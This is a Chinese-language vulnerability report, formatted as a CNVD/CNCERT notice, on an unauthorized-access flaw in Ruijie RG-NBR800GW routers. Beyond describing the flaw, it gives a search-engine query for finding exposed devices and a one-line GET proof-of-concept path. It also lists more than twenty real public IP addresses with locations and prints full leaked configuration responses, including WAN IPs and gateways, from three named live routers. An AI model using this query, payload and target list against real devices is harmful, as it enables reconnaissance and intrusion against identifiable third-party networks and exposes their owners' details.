

国家信息安全漏洞共享平台(CNVD)漏洞通报

关于锐捷路由器（RG-NBR800GW）存在未授权访问漏洞的情况通报

国家互联网应急中心（CNCERT）

2022 年 09 月 16 日

漏洞描述

锐捷路由器（RG-NBR800GW）存在未授权访问漏洞，攻击者可以通过特殊手段获取路由器敏感信息，如内网地址 mac 等

鹰图语法：

web.icon="a45883b12d753bc87aff5bddbef16ab3"&&web.body="RG-NBR800GW"

ID	资产名称	IP	端口/服务	域名	应用/组件	站点标题	状态码	ICP备案企业	地理位置	更新时间
503	-	182.138.86.35	23 http	182.138.86.35	jQuery 共2条	锐捷网络	200	-	成都市	202
502	-	111.26.196.44	23 http	111.26.196.44	Apache 共2条	锐捷网络	200	-	白山市	202
1	-	220.198.127.211	8999 http	220.198.127.211	Apache 共2条	锐捷网络	200	-	东莞市	202
286	-	14.213.124.201	9999 http	14.213.124.201	jQuery 共2条	锐捷网络	200	-	佛山市	202
189	-	59.50.23.158	9999 http	59.50.23.158	Apache 共2条	锐捷网络	200	-	白沙黎族...	202
12	-	59.60.174.176	9999 http	59.60.174.176	Apache 共2条	锐捷网络	200	-	龙海市	202
8	-	111.227.97.144	23 http	111.227.97.144	Apache 共2条	锐捷网络	200	-	唐山市	202
3	-	125.68.211.242	9999 http	125.68.211.242	Apache 共2条	锐捷网络	200	-	巴中市	202
1	-	113.0.110.223	9999 http	113.0.110.223	Apache 共2条	锐捷网络	200	-	哈尔滨市	202
1	-	14.106.246.236	9999 http	14.106.246.236	Apache 共2条	锐捷网络	200	-	重庆市	202

复现过程

Poc: /index.data?opt=err&_id=1663068005

复制 poc 粘贴在 url 后面直接访问 Get 访问



案例 1: <http://59.50.23.158:9999/>

```

<  →  59.50.23.158:9999/index.data?opt=err&_e=1663068005
[vs:'RG-NBR800GW- 10.3(4b12), Release(180720)',vst:'1663068101',tit:'WayOS千M多WAN智能路由器',st:'1',sq:'0',mfvs:'0',sq_ver:'H1MQ4TV026616',version:'RG-NBR800GW-', release:'10.3(4b12)
Release(180720)',svinfo:'57856',platform:'RA-338',tzk_state:'2',auto_upgrade:'1',dual_en:'0',vs_type:'1',display:'1',mitool_arr:[{"iface":"0","n":"LAN1","link":"0","state":"100 F"},{"iface":"1","n":"LAN2","link":"0","state":"100 F"},{"iface":"2","n":"LAN3","link":"0","state":"100 F"},{"iface":"3","n":"LAN4","link":"0","state":"100 F"},{"iface":"1","n":"WAN1","link":"1","state":"1000 F"}],iface_1:{wan_ip:'59.50.23.158',wan_mask:'255.255.255.255',
wan_gw:'59.50.20.1',wan_proto:'pppoe'},iface_2:{wan_ip:'0.0.0.0',wan_mask:'0.0.0.0',wan_gw:'0.0.0.0',wan_proto:'3G'},mr_1:
{'status':'1','jh_en':'1','jh_val':'1000000','zc_en':'0','host':'0','ct_num':'52',atime:'2573348.51',ftime:'2043639.26',mem_free:'55287808',lan_error:'0',wan_error:'0',err_wan:'',bridge_flag:'0'}

```

案例 2: <http://59.60.174.176:9999/login.html>

```

<  →  59.60.174.176:9999/index.data?opt=err&_e=1663068005
[vs:'RG-NBR800GW- 10.3(4b12), Release(180720)',vst:'1663068179',tit:'WayOS千M多WAN智能路由器',st:'1',sq:'0',mfvs:'0',sq_ver:'H1MQCTV002003',version:'RG-NBR800GW-', release:'10.3(4b12)
Release(180720)',svinfo:'57856',platform:'RA-338',tzk_state:'2',auto_upgrade:'1',dual_en:'0',vs_type:'1',display:'1',mitool_arr:[{"iface":"0","n":"LAN1","link":"0","state":"100 F"},{"iface":"1","n":"LAN2","link":"0","state":"100 F"},{"iface":"2","n":"LAN3","link":"0","state":"100 F"},{"iface":"3","n":"LAN4","link":"0","state":"100 F"},{"iface":"1","n":"WAN1","link":"1","state":"1000 F"}],iface_1:{wan_ip:'59.60.174.1',wan_proto:'pppoe'},iface_2:{wan_ip:'0.0.0.0',wan_mask:'0.0.0.0',wan_gw:'0.0.0.0',wan_proto:'3G'},mr_1:
{'status':'1','jh_en':'1','jh_val':'1000000','zc_en':'0','host':'0','ct_num':'1568',atime:'1639744.08',ftime:'1164805.70',mem_free:'51228672',lan_error:'0',wan_error:'0',err_wan:'',bridge_flag:'0'}

```

案例 3: <http://125.68.211.242:9999/>

```

<  →  125.68.211.242:9999/index.data?opt=err&_e=1663068005
[vs:'RG-NBR800GW- 10.3(4b12), Release(180314)',vst:'1663068216',tit:'WayOS千M多WAN智能路由器',st:'1',sq:'0',mfvs:'0',sq_ver:'H1MQ4TV01658A',version:'RG-NBR800GW-', release:'10.3(4b12)
Release(180314)',svinfo:'53195',platform:'RA-338',tzk_state:'0',auto_upgrade:'1',vs_type:'1',display:'1',mitool_arr:[{"iface":"0","n":"LAN1","link":"1","state":"100 F"},{"iface":"1","n":"LAN2","link":"0","state":"100 F"},{"iface":"2","n":"LAN3","link":"0","state":"100 F"},{"iface":"2","n":"WAN2","link":"1","state":"1000 F"},{"iface":"1","n":"WAN1","link":"1","state":"100 F"}],iface_1:{wan_ip:'125.68.211.242',wan_mask:'255.255.255.224',
wan_gw:'125.68.211.254',wan_proto:'static'},iface_2:{wan_ip:'0.0.0.0',wan_mask:'0.0.0.0',wan_gw:'0.0.0.0',wan_proto:'dhcp'},iface_3:{wan_ip:'0.0.0.0',wan_mask:'0.0.0.0',wan_gw:'0.0.0.0',wan_proto:'3G'},mr_1:
{'status':'1','jh_en':'1','jh_val':'1000000','zc_en':'0','host':'0','ct_num':'83',atime:'1909734.98',ftime:'1716744.89',mem_free:'60841984',lan_error:'0',wan_error:'0',err_wan:'',bridge_flag:'0'}

```

7 个 ip

<http://125.111.41.221:9999/login.html>

<http://114.95.123.0:9999/login.html>

<http://222.74.166.82:9999/login.html>

<http://125.64.61.164:9999/login.html>

<http://119.48.89.209:9999/login.html>

<http://119.187.56.75:9999/login.html>

<http://1.29.113.167:9999/login.html>

关于 CNVD

国家信息安全漏洞共享平台（China National Vulnerability Database，简称 CNVD）是 CNCERT 联合国内重要信息系统单位、基础电信运营商、网络安全厂商、软件厂商和互联网企业建立的国家网络安全漏洞库，致力于建立国家统一的信息安全漏洞收集、发布、验证、分析等应急处理体系。

关于 CNCERT

国家计算机网络应急技术处理协调中心（简称“国家互联网应急中心”，英文简称

是 CNCERT 或 CNCERT/CC），成立于 2002 年 9 月，为非政府非盈利的网络安全技术中心，是我国网络安全应急体系的核心技术协调机构。

作为国家级应急中心，CNCERT 的主要职责是：按照“积极预防、及时发现、快速响应、力保恢复”的方针，开展互联网网络安全事件的预防、发现、预警和协调处置等工作，维护国家公共互联网安全，保障基础信息网络和重要信息系统的安全运行。

网址：www.cert.org.cn

邮箱：vreport@cert.org.cn

电话：010-82991537